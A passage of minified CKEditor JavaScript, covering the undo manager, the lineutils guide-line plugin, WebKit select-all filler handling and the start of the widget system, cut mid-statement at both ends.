!CKEDITOR.plugins.clipboard.isCustomCopyCutSupported&&(b.attachListener(b,"cut",r),b.attachListener(b,"copy",r))}),a.on("paste",y.onPaste,y),q(a,"rowInsertBefore rowInsertAfter columnInsertBefore columnInsertAfter cellInsertBefore cellInsertAfter".split(" "),function(a,b){c(a,b.selectedCells)}),q(a,["cellMerge","cellMergeRight","cellMergeDown"],function(a,b){c(a,[b.commandData.cell])}),q(a,["cellDelete"],function(a){b(a,!0)}))}})})();"use strict";(function(){function a(a,b){return CKEDITOR.tools.array.reduce(b,
function(a,b){return b(a)},a)}var f=[CKEDITOR.CTRL+90,CKEDITOR.CTRL+89,CKEDITOR.CTRL+CKEDITOR.SHIFT+90],e={8:1,46:1};CKEDITOR.plugins.add("undo",{init:function(a){function c(a){l.enabled&&!1!==a.data.command.canUndo&&l.save()}function e(){l.enabled=a.readOnly?!1:"wysiwyg"==a.mode;l.onChange()}var l=a.undoManager=new b(a),m=l.editingHandler=new h(l),w=a.addCommand("undo",{exec:function(){l.undo()&&(a.selectionChange(),this.fire("afterUndo"))},startDisabled:!0,canUndo:!1}),q=a.addCommand("redo",{exec:function(){l.redo()&&
(a.selectionChange(),this.fire("afterRedo"))},startDisabled:!0,canUndo:!1});a.setKeystroke([[f[0],"undo"],[f[1],"redo"],[f[2],"redo"]]);l.onChange=function(){w.setState(l.undoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);q.setState(l.redoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)};a.on("beforeCommandExec",c);a.on("afterCommandExec",c);a.on("saveSnapshot",function(a){l.save(a.data&&a.data.contentOnly)});a.on("contentDom",m.attachListeners,m);a.on("instanceReady",function(){a.fire("saveSnapshot")});
a.on("beforeModeUnload",function(){"wysiwyg"==a.mode&&l.save(!0)});a.on("mode",e);a.on("readOnly",e);a.ui.addButton&&(a.ui.addButton("Undo",{label:a.lang.undo.undo,command:"undo",toolbar:"undo,10"}),a.ui.addButton("Redo",{label:a.lang.undo.redo,command:"redo",toolbar:"undo,20"}));a.resetUndo=function(){l.reset();a.fire("saveSnapshot")};a.on("updateSnapshot",function(){l.currentImage&&l.update()});a.on("lockSnapshot",function(a){a=a.data;l.lock(a&&a.dontUpdate,a&&a.forceUpdate)});a.on("unlockSnapshot",
l.unlock,l)}});CKEDITOR.plugins.undo={};var b=CKEDITOR.plugins.undo.UndoManager=function(a){this.strokesRecorded=[0,0];this.locked=null;this.previousKeyGroup=-1;this.limit=a.config.undoStackSize||20;this.strokesLimit=25;this._filterRules=[];this.editor=a;this.reset();CKEDITOR.env.ie&&this.addFilterRule(function(a){return a.replace(/\s+data-cke-expando=".*?"/g,"")})};b.prototype={type:function(a,c){var e=b.getKeyGroup(a),f=this.strokesRecorded[e]+1;c=c||f>=this.strokesLimit;this.typing||(this.hasUndo=
this.typing=!0,this.hasRedo=!1,this.onChange());c?(f=0,this.editor.fire("saveSnapshot")):this.editor.fire("change");this.strokesRecorded[e]=f;this.previousKeyGroup=e},keyGroupChanged:function(a){return b.getKeyGroup(a)!=this.previousKeyGroup},reset:function(){this.snapshots=[];this.index=-1;this.currentImage=null;this.hasRedo=this.hasUndo=!1;this.locked=null;this.resetType()},resetType:function(){this.strokesRecorded=[0,0];this.typing=!1;this.previousKeyGroup=-1},refreshState:function(){this.hasUndo=
!!this.getNextImage(!0);this.hasRedo=!!this.getNextImage(!1);this.resetType();this.onChange()},save:function(a,b,e){var f=this.editor;if(this.locked||"ready"!=f.status||"wysiwyg"!=f.mode)return!1;var h=f.editable();if(!h||"ready"!=h.status)return!1;h=this.snapshots;b||(b=new c(f));if(!1===b.contents)return!1;if(this.currentImage)if(b.equalsContent(this.currentImage)){if(a||b.equalsSelection(this.currentImage))return!1}else!1!==e&&f.fire("change");h.splice(this.index+1,h.length-this.index-1);h.length==
this.limit&&h.shift();this.index=h.push(b)-1;this.currentImage=b;!1!==e&&this.refreshState();return!0},restoreImage:function(a){var b=this.editor,c;a.bookmarks&&(b.focus(),c=b.getSelection());this.locked={level:999};this.editor.loadSnapshot(a.contents);a.bookmarks?c.selectBookmarks(a.bookmarks):CKEDITOR.env.ie&&(c=this.editor.document.getBody().$.createTextRange(),c.collapse(!0),c.select());this.locked=null;this.index=a.index;this.currentImage=this.snapshots[this.index];this.update();this.refreshState();
b.fire("change")},getNextImage:function(a){var b=this.snapshots,c=this.currentImage,e;if(c)if(a)for(e=this.index-1;0<=e;e--){if(a=b[e],!c.equalsContent(a))return a.index=e,a}else for(e=this.index+1;e<b.length;e++)if(a=b[e],!c.equalsContent(a))return a.index=e,a;return null},redoable:function(){return this.enabled&&this.hasRedo},undoable:function(){return this.enabled&&this.hasUndo},undo:function(){if(this.undoable()){this.save(!0);var a=this.getNextImage(!0);if(a)return this.restoreImage(a),!0}return!1},
redo:function(){if(this.redoable()&&(this.save(!0),this.redoable())){var a=this.getNextImage(!1);if(a)return this.restoreImage(a),!0}return!1},update:function(a){if(!this.locked){a||(a=new c(this.editor));for(var b=this.index,e=this.snapshots;0<b&&this.currentImage.equalsContent(e[b-1]);)--b;e.splice(b,this.index-b+1,a);this.index=b;this.currentImage=a}},updateSelection:function(a){if(!this.snapshots.length)return!1;var b=this.snapshots,c=b[b.length-1];return c.equalsContent(a)&&!c.equalsSelection(a)?
(this.currentImage=b[b.length-1]=a,!0):!1},lock:function(a,b){if(this.locked)this.locked.level++;else if(a)this.locked={level:1};else{var e=null;if(b)e=!0;else{var f=new c(this.editor,!0);this.currentImage&&this.currentImage.equalsContent(f)&&(e=f)}this.locked={update:e,level:1}}},unlock:function(){if(this.locked&&!--this.locked.level){var a=this.locked.update;this.locked=null;if(!0===a)this.update();else if(a){var b=new c(this.editor,!0);a.equalsContent(b)||this.update()}}},addFilterRule:function(a){this._filterRules.push(a)}};
b.navigationKeyCodes={37:1,38:1,39:1,40:1,36:1,35:1,33:1,34:1};b.keyGroups={PRINTABLE:0,FUNCTIONAL:1};b.isNavigationKey=function(a){return!!b.navigationKeyCodes[a]};b.getKeyGroup=function(a){var c=b.keyGroups;return e[a]?c.FUNCTIONAL:c.PRINTABLE};b.getOppositeKeyGroup=function(a){var c=b.keyGroups;return a==c.FUNCTIONAL?c.PRINTABLE:c.FUNCTIONAL};b.ieFunctionalKeysBug=function(a){return CKEDITOR.env.ie&&b.getKeyGroup(a)==b.keyGroups.FUNCTIONAL};var c=CKEDITOR.plugins.undo.Image=function(b,c){this.editor=
b;b.fire("beforeUndoImage");var e=b.getSnapshot();e&&(this.contents=a(e,b.undoManager._filterRules));c||(this.bookmarks=(e=e&&b.getSelection())&&e.createBookmarks2(!0));b.fire("afterUndoImage")},m=/\b(?:href|src|name)="[^"]*?"/gi;c.prototype={equalsContent:function(a){var b=this.contents;a=a.contents;CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)&&(b=b.replace(m,""),a=a.replace(m,""));return b!=a?!1:!0},equalsSelection:function(a){var b=this.bookmarks;a=a.bookmarks;if(b||a){if(!b||
!a||b.length!=a.length)return!1;for(var c=0;c<b.length;c++){var e=b[c],f=a[c];if(e.startOffset!=f.startOffset||e.endOffset!=f.endOffset||!CKEDITOR.tools.arrayCompare(e.start,f.start)||!CKEDITOR.tools.arrayCompare(e.end,f.end))return!1}}return!0}};var h=CKEDITOR.plugins.undo.NativeEditingHandler=function(a){this.undoManager=a;this.ignoreInputEvent=!1;this.keyEventsStack=new l;this.lastKeydownImage=null};h.prototype={onKeydown:function(a){var e=a.data.getKey();if(229!==e)if(-1<CKEDITOR.tools.indexOf(f,
a.data.getKeystroke()))a.data.preventDefault();else if(this.keyEventsStack.cleanUp(a),a=this.undoManager,this.keyEventsStack.getLast(e)||this.keyEventsStack.push(e),this.lastKeydownImage=new c(a.editor),b.isNavigationKey(e)||this.undoManager.keyGroupChanged(e))if(a.strokesRecorded[0]||a.strokesRecorded[1])a.save(!1,this.lastKeydownImage,!1),a.resetType()},onInput:function(){if(this.ignoreInputEvent)this.ignoreInputEvent=!1;else{var a=this.keyEventsStack.getLast();a||(a=this.keyEventsStack.push(0));
this.keyEventsStack.increment(a.keyCode);this.keyEventsStack.getTotalInputs()>=this.undoManager.strokesLimit&&(this.undoManager.type(a.keyCode,!0),this.keyEventsStack.resetInputs())}},onKeyup:function(a){var e=this.undoManager;a=a.data.getKey();var f=this.keyEventsStack.getTotalInputs();this.keyEventsStack.remove(a);if(!(b.ieFunctionalKeysBug(a)&&this.lastKeydownImage&&this.lastKeydownImage.equalsContent(new c(e.editor,!0))))if(0<f)e.type(a);else if(b.isNavigationKey(a))this.onNavigationKey(!0)},
onNavigationKey:function(a){var b=this.undoManager;!a&&b.save(!0,null,!1)||b.updateSelection(new c(b.editor));b.resetType()},ignoreInputEventListener:function(){this.ignoreInputEvent=!0},activateInputEventListener:function(){this.ignoreInputEvent=!1},attachListeners:function(){var a=this.undoManager.editor,c=a.editable(),e=this;c.attachListener(c,"keydown",function(a){e.onKeydown(a);if(b.ieFunctionalKeysBug(a.data.getKey()))e.onInput()},null,null,999);c.attachListener(c,CKEDITOR.env.ie?"keypress":
"input",e.onInput,e,null,999);c.attachListener(c,"keyup",e.onKeyup,e,null,999);c.attachListener(c,"paste",e.ignoreInputEventListener,e,null,999);c.attachListener(c,"drop",e.ignoreInputEventListener,e,null,999);a.on("afterPaste",e.activateInputEventListener,e,null,999);c.attachListener(c.isInline()?c:a.document.getDocumentElement(),"click",function(){e.onNavigationKey()},null,null,999);c.attachListener(this.undoManager.editor,"blur",function(){e.keyEventsStack.remove(9)},null,null,999)}};var l=CKEDITOR.plugins.undo.KeyEventsStack=
function(){this.stack=[]};l.prototype={push:function(a){a=this.stack.push({keyCode:a,inputs:0});return this.stack[a-1]},getLastIndex:function(a){if("number"!=typeof a)return this.stack.length-1;for(var b=this.stack.length;b--;)if(this.stack[b].keyCode==a)return b;return-1},getLast:function(a){a=this.getLastIndex(a);return-1!=a?this.stack[a]:null},increment:function(a){this.getLast(a).inputs++},remove:function(a){a=this.getLastIndex(a);-1!=a&&this.stack.splice(a,1)},resetInputs:function(a){if("number"==
typeof a)this.getLast(a).inputs=0;else for(a=this.stack.length;a--;)this.stack[a].inputs=0},getTotalInputs:function(){for(var a=this.stack.length,b=0;a--;)b+=this.stack[a].inputs;return b},cleanUp:function(a){a=a.data.$;a.ctrlKey||a.metaKey||this.remove(17);a.shiftKey||this.remove(16);a.altKey||this.remove(18)}}})();"use strict";(function(){function a(a,b){CKEDITOR.tools.extend(this,{editor:a,editable:a.editable(),doc:a.document,win:a.window},b,!0);this.inline=this.editable.isInline();this.inline||
(this.frame=this.win.getFrame());this.target=this[this.inline?"editable":"doc"]}function f(a,b){CKEDITOR.tools.extend(this,b,{editor:a},!0)}function e(a,b){var e=a.editable();CKEDITOR.tools.extend(this,{editor:a,editable:e,inline:e.isInline(),doc:a.document,win:a.window,container:CKEDITOR.document.getBody(),winTop:CKEDITOR.document.getWindow()},b,!0);this.hidden={};this.visible={};this.inline||(this.frame=this.win.getFrame());this.queryViewport();var f=CKEDITOR.tools.bind(this.queryViewport,this),
h=CKEDITOR.tools.bind(this.hideVisible,this),l=CKEDITOR.tools.bind(this.removeAll,this);e.attachListener(this.winTop,"resize",f);e.attachListener(this.winTop,"scroll",f);e.attachListener(this.winTop,"resize",h);e.attachListener(this.win,"scroll",h);e.attachListener(this.inline?e:this.frame,"mouseout",function(a){var b=a.data.$.clientX;a=a.data.$.clientY;this.queryViewport();(b<=this.rect.left||b>=this.rect.right||a<=this.rect.top||a>=this.rect.bottom)&&this.hideVisible();(0>=b||b>=this.winTopPane.width||
0>=a||a>=this.winTopPane.height)&&this.hideVisible()},this);e.attachListener(a,"resize",f);e.attachListener(a,"mode",l);a.on("destroy",l);this.lineTpl=(new CKEDITOR.template('\x3cdiv data-cke-lineutils-line\x3d"1" class\x3d"cke_reset_all" style\x3d"{lineStyle}"\x3e\x3cspan style\x3d"{tipLeftStyle}"\x3e\x26nbsp;\x3c/span\x3e\x3cspan style\x3d"{tipRightStyle}"\x3e\x26nbsp;\x3c/span\x3e\x3c/div\x3e')).output({lineStyle:CKEDITOR.tools.writeCssText(CKEDITOR.tools.extend({},m,this.lineStyle,!0)),tipLeftStyle:CKEDITOR.tools.writeCssText(CKEDITOR.tools.extend({},
c,{left:"0px","border-left-color":"red","border-width":"6px 0 6px 6px"},this.tipCss,this.tipLeftStyle,!0)),tipRightStyle:CKEDITOR.tools.writeCssText(CKEDITOR.tools.extend({},c,{right:"0px","border-right-color":"red","border-width":"6px 6px 6px 0"},this.tipCss,this.tipRightStyle,!0))})}function b(a){var b;if(b=a&&a.type==CKEDITOR.NODE_ELEMENT)b=!(h[a.getComputedStyle("float")]||h[a.getAttribute("align")]);return b&&!l[a.getComputedStyle("position")]}CKEDITOR.plugins.add("lineutils");CKEDITOR.LINEUTILS_BEFORE=
1;CKEDITOR.LINEUTILS_AFTER=2;CKEDITOR.LINEUTILS_INSIDE=4;a.prototype={start:function(a){var b=this,c=this.editor,e=this.doc,f,h,l,m,u=CKEDITOR.tools.eventsBuffer(50,function(){c.readOnly||"wysiwyg"!=c.mode||(b.relations={},(h=e.$.elementFromPoint(l,m))&&h.nodeType&&(f=new CKEDITOR.dom.element(h),b.traverseSearch(f),isNaN(l+m)||b.pixelSearch(f,l,m),a&&a(b.relations,l,m)))});this.listener=this.editable.attachListener(this.target,"mousemove",function(a){l=a.data.$.clientX;m=a.data.$.clientY;u.input()});
this.editable.attachListener(this.inline?this.editable:this.frame,"mouseout",function(){u.reset()})},stop:function(){this.listener&&this.listener.removeListener()},getRange:function(){var a={};a[CKEDITOR.LINEUTILS_BEFORE]=CKEDITOR.POSITION_BEFORE_START;a[CKEDITOR.LINEUTILS_AFTER]=CKEDITOR.POSITION_AFTER_END;a[CKEDITOR.LINEUTILS_INSIDE]=CKEDITOR.POSITION_AFTER_START;return function(b){var c=this.editor.createRange();c.moveToPosition(this.relations[b.uid].element,a[b.type]);return c}}(),store:function(){function a(b,
d,c){var e=b.getUniqueId();e in c?c[e].type|=d:c[e]={element:b,type:d}}return function(c,e){var f;e&CKEDITOR.LINEUTILS_AFTER&&b(f=c.getNext())&&f.isVisible()&&(a(f,CKEDITOR.LINEUTILS_BEFORE,this.relations),e^=CKEDITOR.LINEUTILS_AFTER);e&CKEDITOR.LINEUTILS_INSIDE&&b(f=c.getFirst())&&f.isVisible()&&(a(f,CKEDITOR.LINEUTILS_BEFORE,this.relations),e^=CKEDITOR.LINEUTILS_INSIDE);a(c,e,this.relations)}}(),traverseSearch:function(a){var c,e,f;do if(f=a.$["data-cke-expando"],!(f&&f in this.relations)){if(a.equals(this.editable))break;
if(b(a))for(c in this.lookups)(e=this.lookups[c](a))&&this.store(a,e)}while((!a||a.type!=CKEDITOR.NODE_ELEMENT||"true"!=a.getAttribute("contenteditable"))&&(a=a.getParent()))},pixelSearch:function(){function a(d,e,f,h,l){for(var m=0,u;l(f);){f+=h;if(25==++m)break;if(u=this.doc.$.elementFromPoint(e,f))if(u==d)m=0;else if(c(d,u)&&(m=0,b(u=new CKEDITOR.dom.element(u))))return u}}var c=CKEDITOR.env.ie||CKEDITOR.env.webkit?function(a,b){return a.contains(b)}:function(a,b){return!!(a.compareDocumentPosition(b)&
16)};return function(c,e,f){var h=this.win.getViewPaneSize().height,k=a.call(this,c.$,e,f,-1,function(a){return 0<a});e=a.call(this,c.$,e,f,1,function(a){return a<h});if(k)for(this.traverseSearch(k);!k.getParent().equals(c);)k=k.getParent();if(e)for(this.traverseSearch(e);!e.getParent().equals(c);)e=e.getParent();for(;k||e;){k&&(k=k.getNext(b));if(!k||k.equals(e))break;this.traverseSearch(k);e&&(e=e.getPrevious(b));if(!e||e.equals(k))break;this.traverseSearch(e)}}}(),greedySearch:function(){this.relations=
{};for(var a=this.editable.getElementsByTag("*"),c=0,e,f,h;e=a.getItem(c++);)if(!e.equals(this.editable)&&e.type==CKEDITOR.NODE_ELEMENT&&(e.hasAttribute("contenteditable")||!e.isReadOnly())&&b(e)&&e.isVisible())for(h in this.lookups)(f=this.lookups[h](e))&&this.store(e,f);return this.relations}};f.prototype={locate:function(){function a(d,c){var e=d.element[c===CKEDITOR.LINEUTILS_BEFORE?"getPrevious":"getNext"]();return e&&b(e)?(d.siblingRect=e.getClientRect(),c==CKEDITOR.LINEUTILS_BEFORE?(d.siblingRect.bottom+
d.elementRect.top)/2:(d.elementRect.bottom+d.siblingRect.top)/2):c==CKEDITOR.LINEUTILS_BEFORE?d.elementRect.top:d.elementRect.bottom}return function(b){var c;this.locations={};for(var e in b)c=b[e],c.elementRect=c.element.getClientRect(),c.type&CKEDITOR.LINEUTILS_BEFORE&&this.store(e,CKEDITOR.LINEUTILS_BEFORE,a(c,CKEDITOR.LINEUTILS_BEFORE)),c.type&CKEDITOR.LINEUTILS_AFTER&&this.store(e,CKEDITOR.LINEUTILS_AFTER,a(c,CKEDITOR.LINEUTILS_AFTER)),c.type&CKEDITOR.LINEUTILS_INSIDE&&this.store(e,CKEDITOR.LINEUTILS_INSIDE,
(c.elementRect.top+c.elementRect.bottom)/2);return this.locations}}(),sort:function(){var a,b,c,e;return function(f,h){a=this.locations;b=[];for(var l in a)for(var m in a[l])if(c=Math.abs(f-a[l][m]),b.length){for(e=0;e<b.length;e++)if(c<b[e].dist){b.splice(e,0,{uid:+l,type:m,dist:c});break}e==b.length&&b.push({uid:+l,type:m,dist:c})}else b.push({uid:+l,type:m,dist:c});return"undefined"!=typeof h?b.slice(0,h):b}}(),store:function(a,b,c){this.locations[a]||(this.locations[a]={});this.locations[a][b]=
c}};var c={display:"block",width:"0px",height:"0px","border-color":"transparent","border-style":"solid",position:"absolute",top:"-6px"},m={height:"0px","border-top":"1px dashed red",position:"absolute","z-index":9999};e.prototype={removeAll:function(){for(var a in this.hidden)this.hidden[a].remove(),delete this.hidden[a];for(a in this.visible)this.visible[a].remove(),delete this.visible[a]},hideLine:function(a){var b=a.getUniqueId();a.hide();this.hidden[b]=a;delete this.visible[b]},showLine:function(a){var b=
a.getUniqueId();a.show();this.visible[b]=a;delete this.hidden[b]},hideVisible:function(){for(var a in this.visible)this.hideLine(this.visible[a])},placeLine:function(a,b){var c,e,f;if(c=this.getStyle(a.uid,a.type)){for(f in this.visible)if(this.visible[f].getCustomData("hash")!==this.hash){e=this.visible[f];break}if(!e)for(f in this.hidden)if(this.hidden[f].getCustomData("hash")!==this.hash){this.showLine(e=this.hidden[f]);break}e||this.showLine(e=this.addLine());e.setCustomData("hash",this.hash);
this.visible[e.getUniqueId()]=e;e.setStyles(c);b&&b(e)}},getStyle:function(a,b){var c=this.relations[a],e=this.locations[a][b],f={};f.width=c.siblingRect?Math.max(c.siblingRect.width,c.elementRect.width):c.elementRect.width;f.top=this.inline?e+this.winTopScroll.y-this.rect.relativeY:this.rect.top+this.winTopScroll.y+e;if(f.top-this.winTopScroll.y<this.rect.top||f.top-this.winTopScroll.y>this.rect.bottom)return!1;this.inline?f.left=c.elementRect.left-this.rect.relativeX:(0<c.elementRect.left?f.left=
this.rect.left+c.elementRect.left:(f.width+=c.elementRect.left,f.left=this.rect.left),0<(c=f.left+f.width-(this.rect.left+this.winPane.width))&&(f.width-=c));f.left+=this.winTopScroll.x;for(var h in f)f[h]=CKEDITOR.tools.cssLength(f[h]);return f},addLine:function(){var a=CKEDITOR.dom.element.createFromHtml(this.lineTpl);a.appendTo(this.container);return a},prepare:function(a,b){this.relations=a;this.locations=b;this.hash=Math.random()},cleanup:function(){var a,b;for(b in this.visible)a=this.visible[b],
a.getCustomData("hash")!==this.hash&&this.hideLine(a)},queryViewport:function(){this.winPane=this.win.getViewPaneSize();this.winTopScroll=this.winTop.getScrollPosition();this.winTopPane=this.winTop.getViewPaneSize();this.rect=this.getClientRect(this.inline?this.editable:this.frame)},getClientRect:function(a){a=a.getClientRect();var b=this.container.getDocumentPosition(),c=this.container.getComputedStyle("position");a.relativeX=a.relativeY=0;"static"!=c&&(a.relativeY=b.y,a.relativeX=b.x,a.top-=a.relativeY,
a.bottom-=a.relativeY,a.left-=a.relativeX,a.right-=a.relativeX);return a}};var h={left:1,right:1,center:1},l={absolute:1,fixed:1};CKEDITOR.plugins.lineutils={finder:a,locator:f,liner:e}})();(function(){function a(a){return a.getName&&!a.hasAttribute("data-cke-temp")}CKEDITOR.plugins.add("widgetselection",{init:function(a){if(CKEDITOR.env.webkit){var e=CKEDITOR.plugins.widgetselection;a.on("contentDom",function(a){a=a.editor;var c=a.editable();c.attachListener(c,"keydown",function(a){a.data.getKeystroke()==
CKEDITOR.CTRL+65&&CKEDITOR.tools.setTimeout(function(){e.addFillers(c)||e.removeFillers(c)},0)},null,null,-1);a.on("selectionCheck",function(a){e.removeFillers(a.editor.editable())});a.on("paste",function(a){a.data.dataValue=e.cleanPasteData(a.data.dataValue)});"selectall"in a.plugins&&e.addSelectAllIntegration(a)})}}});CKEDITOR.plugins.widgetselection={startFiller:null,endFiller:null,fillerAttribute:"data-cke-filler-webkit",fillerContent:"\x26nbsp;",fillerTagName:"div",addFillers:function(f){var e=
f.editor;if(!this.isWholeContentSelected(f)&&0<f.getChildCount()){var b=f.getFirst(a),c=f.getLast(a);b&&b.type==CKEDITOR.NODE_ELEMENT&&!b.isEditable()&&(this.startFiller=this.createFiller(),f.append(this.startFiller,1));c&&c.type==CKEDITOR.NODE_ELEMENT&&!c.isEditable()&&(this.endFiller=this.createFiller(!0),f.append(this.endFiller,0));if(this.hasFiller(f))return e=e.createRange(),e.selectNodeContents(f),e.select(),!0}return!1},removeFillers:function(a){if(this.hasFiller(a)&&!this.isWholeContentSelected(a)){var e=
a.findOne(this.fillerTagName+"["+this.fillerAttribute+"\x3dstart]"),b=a.findOne(this.fillerTagName+"["+this.fillerAttribute+"\x3dend]");this.startFiller&&e&&this.startFiller.equals(e)?this.removeFiller(this.startFiller,a):this.startFiller=e;this.endFiller&&b&&this.endFiller.equals(b)?this.removeFiller(this.endFiller,a):this.endFiller=b}},cleanPasteData:function(a){a&&a.length&&(a=a.replace(this.createFillerRegex(),"").replace(this.createFillerRegex(!0),""));return a},isWholeContentSelected:function(a){var e=
a.editor.getSelection().getRanges()[0];return!e||e&&e.collapsed?!1:(e=e.clone(),e.enlarge(CKEDITOR.ENLARGE_ELEMENT),!!(e&&a&&e.startContainer&&e.endContainer&&0===e.startOffset&&e.endOffset===a.getChildCount()&&e.startContainer.equals(a)&&e.endContainer.equals(a)))},hasFiller:function(a){return 0<a.find(this.fillerTagName+"["+this.fillerAttribute+"]").count()},createFiller:function(a){var e=new CKEDITOR.dom.element(this.fillerTagName);e.setHtml(this.fillerContent);e.setAttribute(this.fillerAttribute,
a?"end":"start");e.setAttribute("data-cke-temp",1);e.setStyles({display:"block",width:0,height:0,padding:0,border:0,margin:0,position:"absolute",top:0,left:"-9999px",opacity:0,overflow:"hidden"});return e},removeFiller:function(a,e){if(a){var b=e.editor,c=e.editor.getSelection().getRanges()[0].startPath(),m=b.createRange(),h,l;c.contains(a)&&(h=a.getHtml(),l=!0);c="start"==a.getAttribute(this.fillerAttribute);a.remove();h&&0<h.length&&h!=this.fillerContent?(e.insertHtmlIntoRange(h,b.getSelection().getRanges()[0]),
m.setStartAt(e.getChild(e.getChildCount()-1),CKEDITOR.POSITION_BEFORE_END),b.getSelection().selectRanges([m])):l&&(c?m.setStartAt(e.getFirst().getNext(),CKEDITOR.POSITION_AFTER_START):m.setEndAt(e.getLast().getPrevious(),CKEDITOR.POSITION_BEFORE_END),e.editor.getSelection().selectRanges([m]))}},createFillerRegex:function(a){var e=this.createFiller(a).getOuterHtml().replace(/style="[^"]*"/gi,'style\x3d"[^"]*"').replace(/>[^<]*</gi,"\x3e[^\x3c]*\x3c");return new RegExp((a?"":"^")+e+(a?"$":""))},addSelectAllIntegration:function(a){var e=
this;a.editable().attachListener(a,"beforeCommandExec",function(b){var c=a.editable();"selectAll"==b.data.name&&c&&e.addFillers(c)},null,null,9999)}}})();"use strict";(function(){function a(a){this.editor=a;this.registered={};this.instances={};this.selected=[];this.widgetHoldingFocusedEditable=this.focused=null;this._={nextId:0,upcasts:[],upcastCallbacks:[],filters:{}};G(this);D(this);this.on("checkWidgets",h);this.editor.on("contentDomInvalidated",this.checkWidgets,this);A(this);v(this);y(this);
B(this);z(this)}function f(a,b,c,d,e){var g=a.editor;CKEDITOR.tools.extend(this,d,{editor:g,id:b,inline:"span"==c.getParent().getName(),element:c,data:CKEDITOR.tools.extend({},"function"==typeof d.defaults?d.defaults():d.defaults),dataReady:!1,inited:!1,ready:!1,edit:f.prototype.edit,focusedEditable:null,definition:d,repository:a,draggable:!1!==d.draggable,_:{downcastFn:d.downcast&&"string"==typeof d.downcast?d.downcasts[d.downcast]:d.downcast}},!0);a.fire("instanceCreated",this);Q(this,d);this.init&&
this.init();this.inited=!0;(a=this.element.data("cke-widget-data"))&&this.setData(JSON.parse(decodeURIComponent(a)));e&&this.setData(e);this.data.classes||this.setData("classes",this.getClasses());this.dataReady=!0;da(this);this.fire("data",this.data);this.isInited()&&g.editable().contains(this.wrapper)&&(this.ready=!0,this.fire("ready"))}function e(a,b,c){CKEDITOR.dom.element.call(this,b.$);this.editor=a;this._={};b=this.filter=c.filter;CKEDITOR.dtd[this.getName()].p?(this.enterMode=b?b.getAllowedEnterMode(a.enterMode):
a.enterMode,this.shiftEnterMode=b?b.getAllowedEnterMode(a.shiftEnterMode,!0):a.shiftEnterMode):this.enterMode=this.shiftEnterMode=CKEDITOR.ENTER_BR}function b(a,b){a.addCommand(b.name,{exec:function(a,c){function d(){a.widgets.finalizeCreation(h)}var e=a.widgets.focused;if(e&&e.name==b.name)e.edit();else if(b.insert)b.insert({editor:a,commandData:c});else if(b.template){var e="function"==typeof b.defaults?b.defaults():b.defaults,e=CKEDITOR.dom.element.createFromHtml(b.template.output(e),a.document),
f,g=a.widgets.wrapElement(e,b.name),h=new CKEDITOR.dom.documentFragment(g.getDocument());h.append(g);(f=a.widgets.initOn(e,b,c&&c.startupData))?(e=f.once("edit",function(b){if(b.data.dialog)f.once("dialog",function(b){b=b.data;var c,e;c=b.once("ok",d,null,null,20);e=b.once("cancel",function(b){b.data&&!1===b.data.hide||a.widgets.destroy(f,!0)});b.once("hide",function(){c.removeListener();e.removeListener()})});else d()},null,null,999),f.edit(),e.removeListener()):d()}},allowedContent:b.allowedContent,
requiredContent:b.requiredContent,contentForms:b.contentForms,contentTransformations:b.contentTransformations})}function c(a,b){function c(a,d){var e=b.upcast.split(","),f,g;for(g=0;g<e.length;g++)if(f=e[g],f===a.name)return b.upcasts[f].call(this,a,d);return!1}function d(b,c,e){var f=CKEDITOR.tools.getIndex(a._.upcasts,function(a){return a[2]>e});0>f&&(f=a._.upcasts.length);a._.upcasts.splice(f,0,[CKEDITOR.tools.bind(b,c),c.name,e])}var e=b.upcast,f=b.upcastPriority||10;e&&("string"==typeof e?d(c,
b,f):d(e,b,f))}function m(a,b){a.focused=null;if(b.isInited()){var c=b.editor.checkDirty();a.fire("widgetBlurred",{widget:b});b.setFocused(!1);!c&&b.editor.resetDirty()}}function h(a){a=a.data;if("wysiwyg"==this.editor.mode){var b=this.editor.editable(),c=this.instances,d,e,g,h;if(b){for(d in c)c[d].isReady()&&!b.contains(c[d].wrapper)&&this.destroy(c[d],!0);if(a&&a.initOnlyNew)c=this.initOnAll();else{var k=b.find(".cke_widget_wrapper"),c=[];d=0;for(e=k.count();d<e;d++){g=k.getItem(d);if(h=!this.getByElement(g,
!0)){a:{h=p;for(var l=g;l=l.getParent();)if(h(l)){h=!0;break a}h=!1}h=!h}h&&b.contains(g)&&(g.addClass("cke_widget_new"),c.push(this.initOn(g.getFirst(f.isDomWidgetElement))))}}a&&a.focusInited&&1==c.length&&c[0].focus()}}}function l(a){if("undefined"!=typeof a.attributes&&a.attributes["data-widget"]){var b=d(a),c=k(a),e=!1;b&&b.value&&b.value.match(/^\s/g)&&(b.parent.attributes["data-cke-white-space-first"]=1,b.value=b.value.replace(/^\s/g,"\x26nbsp;"),e=!0);c&&c.value&&c.value.match(/\s$/g)&&(c.parent.attributes["data-cke-white-space-last"]=
1,c.value=c.value.replace(/\s$/g,"\x26nbsp;"),e=!0);e&&(a.attributes["data-cke-widget-white-space"]=1)}}function d(a){return a.find(function(a){return 3===a.type},!0).shift()}function k(a){return a.find(function(a){return 3===a.type},!0).pop()}function g(a,b,c){if(!c.allowedContent&&!c.disallowedContent)return null;var d=this._.filters[a];d||(this._.filters[a]=d={});a=d[b];a||(a=c.allowedContent?new CKEDITOR.filter(c.allowedContent):this.editor.filter.clone(),d[b]=a,c.disallowedContent&&a.disallow(c.disallowedContent));
return a}function n(a){var b=[],c=a._.upcasts,d=a._.upcastCallbacks;return{toBeWrapped:b,iterator:function(a){var e,g,h,k,l;if("data-cke-widget-wrapper"in a.attributes)return(a=a.getFirst(f.isParserWidgetElement))&&b.push([a]),!1;if("data-widget"in a.attributes)return b.push([a]),!1;if(l=c.length){if(a.attributes["data-cke-widget-upcasted"])return!1;k=0;for(e=d.length;k<e;++k)if(!1===d[k](a))return;for(k=0;k<l;++k)if(e=c[k],h={},g=e[0](a,h))return g instanceof CKEDITOR.htmlParser.element&&(a=g),a.attributes["data-cke-widget-data"]=
